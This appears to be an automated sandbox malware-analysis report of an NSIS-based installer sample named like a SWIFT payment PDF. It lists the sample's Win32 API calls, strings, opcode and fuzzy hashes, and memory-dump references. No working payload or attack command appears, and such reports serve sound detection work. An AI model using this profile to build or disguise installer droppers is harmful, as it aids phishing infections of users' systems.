SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(?,00000064,?), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 9adbd91855f61e1aa42084a324919f92679eaa0def369839d701c2d0f369fcba
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 004062E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

Strings

*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00401767 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,0040A5F0,0040A5F0,00000000,00000000,0040A5F0,00440000,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 76a6acc1869b1502df51b2d70689f923f1781407bbca0b7b9e67ba73967ab9b8
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 7c596801b8e97744870de8fa040c6d0eb9a7113b3dcb71ab6f8aec32acf4c673
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: f8a4d83ee30cd42d14a6a9659d47529e4ebc45f269bacdb6346c82beb54ce81b
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: c2e87f168d66866e2d8dc5e8e8377fdf310bf379f9e84288a58d834ab05b21ed
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNEL32(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 0040237B Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(0040B5F0,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,0040B5F0,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8a072e14775335605bdd4e78a6bff533e78b893741e3763667742a47c04b4826
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922652826.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922681465.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000005.00000002.2922616706.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2922599143.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2922634766.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
